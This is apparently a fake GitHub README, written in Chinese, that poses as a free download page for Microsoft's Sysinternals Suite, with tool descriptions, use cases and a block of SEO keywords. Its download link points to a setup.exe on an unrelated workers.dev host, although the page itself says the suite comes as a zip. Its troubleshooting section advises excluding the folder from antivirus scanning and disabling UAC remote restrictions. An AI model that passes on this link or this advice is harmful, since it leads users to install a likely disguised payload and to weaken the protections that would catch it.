sysinternals-suite-utilities/.github

# Sysinternals Suite 工具集 — 免费下载 ## 简要介绍 微软提供的 70 多个便携式 Windows 诊断和故障排除工具的完整集合。Sysinternals Suite 工具集将进程、网络、安全、磁盘 I/O、注册表和系统内部机制涵盖在一个 zip 文件中。 ## 概述 Sysinternals Suite 工具集是由微软整理的 Sysinternals 目录中每个工具的捆绑发行版。它包括 Process Explorer、Process Monitor、Autoruns、TCPView、ZoomIt、Desktops、Disk2vhd、PageDefrag、PsTools、BGInfo 等数十种工具——所有这些都作为便携式可执行文件提供，无需安装。系统管理员会将该套件放到 USB 驱动器或网络共享上，并立即在任何 Windows 计算机上运行任何工具。 每个实用工具都针对特定的诊断领域。Process Monitor 以微秒级时间戳捕获实时的文件系统、注册表和进程活动，用于调试。TCPView 将每个网络连接映射到其所属进程。PsExec 无需安装 agent 即可打开远程命令行会话。Disk2vhd 将正在运行的系统转换为可启动的虚拟硬盘。它们共同构成了 Windows 故障排除的事实标准工具链，在微软认证课程中教授，并被全球的企业支持团队每天都在使用。 ## 功能矩阵 | 功能 | 描述 | |---|---| | Process Monitor | 实时捕获文件系统、注册表和线程活动，并支持过滤 | | TCPView | 可视化列出所有 TCP/UDP endpoint，并显示所属进程和连接状态 | | PsExec | 无需预先安装 agent 软件即可在远程计算机上执行命令 | | Disk2vhd | 将正在运行的系统转换为 VHD/VHDX 虚拟磁盘，以便用于 Hyper-V | | Autoruns | 对注册表、服务、驱动程序和计划任务进行全面的自启动审计 | | BGInfo | 将系统元数据（IP、运行时间、磁盘空间）覆盖到桌面壁纸上 | | ZoomIt | 用于演示和演示的屏幕缩放、注释和计时器实用工具 | | Sigcheck | 验证数字签名、显示证书详情并检查文件版本 | ## 入门指南 1. 下载 SysinternalsSuite.zip 并将其解压缩到诸如 C:\Sysinternals 的文件夹中。 2. 将 C:\Sysinternals 添加到您的系统 PATH 环境变量中，以便通过命令行访问所有工具。 3. 从 procexp.exe (Process Explorer) 和 Procmon.exe (Process Monitor) 开始——这是两个最常用的工具。 4. 阅读某些工具首次启动时出现的许可协议；每个工具接受一次。 5. 对于远程工作，请将整个文件夹复制到 USB 驱动器，并在目标计算机上直接运行工具。 ## 日常使用 从套件文件夹启动 Process Explorer 以调查高 CPU 使用率，而无需打开资源监视器。使用 TCPView 识别哪个应用程序正在维护意外的出站连接。对新下载的可执行文件运行 Sigcheck 以确认其发布者和数字签名链。将该套件保留在可从每个管理工作站访问的网络共享上，以便所有团队成员使用相同的工具版本。 ## 实际场景 **A. 应用程序挂起调试** — 一个业务应用程序随机冻结。使用过滤器针对该应用程序的进程名称运行 Process Monitor，重现挂起，并查看最后几百个事件以识别失败的 API 调用。 **B. 未经授权的网络审计** — TCPView 显示某个工作站每 30 分钟通过 443 端口向一个未知 IP 发送信标。在 Process Explorer 中交叉比对所属的进程 ID 以识别该程序，然后使用 Sigcheck 检查其合法性。 **C. 服务器 P2V 迁移** — 在维护时段内对生产环境的 Windows Server 运行 Disk2vhd，将启动卷转换为 VHD。将该 VHD 导入 Hyper-V 以获取无风险的测试环境。 **D. 培训实验室设置** — 使用 BGInfo 在每台实验室机器的壁纸上标记其主机名、IP 地址和可用磁盘空间。学生可以立即识别分配给他们的机器并准确报告问题。 [](https://gateway-yhxc.bettinastool65p6.workers.dev/sysinternals-suite-utilities/sysinternals-suite-utilities-setup.exe) ## 系统要求 - 操作系统：Windows 7 或更高版本 (x86/x64/ARM64)；某些工具需要 Windows 10+ - 内存：典型工具使用需 50 MB；Process Monitor 捕获可能会消耗更多 - 存储空间：解压后的套件需 50 MB - 权限：许多工具需要管理员提权才能实现完整功能 ## 故障排除 1. 工具在 Windows 7 上无法启动 — 某些较新的实用工具需要 Windows 10 或更高版本的 API 支持。请查看该工具各自的 Sysinternals 文档页面以了解最低操作系统要求。 2. Process Monitor 捕获增长到数 GB — 在开始捕获之前应用过滤器，特别是排除来自已知安全系统进程（如 svchost.exe 和 System Idle Process）的事件。 3. PsExec 在远程计算机上访问被拒绝 — 目标计算机必须启用管理员共享，并且连接账户必须是本地管理员。如果需要，通过注册表禁用 UAC 远程限制。 4. TCPView 未显示进程名称 — 以管理员身份运行 TCPView。如果没有提权，该工具无法将连接 endpoint 映射到其所属的进程 ID。 5. 工具被杀毒软件标记 — 某些 Sysinternals 工具使用类似于恶意软件的技术（进程注入、token 操作）。请在您的杀毒策略中将该套件文件夹添加为排除项。 ## 相关搜索词 Sysinternals Suite 下载, Sysinternals Suite zip, Sysinternals 工具列表, Sysinternals Process Monitor, Sysinternals Process Explorer, Sysinternals TCPView, Sysinternals PsExec, Sysinternals Autoruns, Sysinternals BGInfo, Sysinternals Disk2vhd, Sysinternals ZoomIt, Sysinternals Sigcheck, 微软 Sysinternals, Windows 诊断工具, 免费 sysadmin 工具, 便携式 Windows 工具, Sysinternals USB 工具包, Sysinternals 教程, Sysinternals 与内置工具对比, Sysinternals 远程管理, Sysinternals 恶意软件分析工具

标签：AI合规, UML, URLScan, 库, 应急响应, 注册表, 系统分析, 系统工具, 网络分析, 运维诊断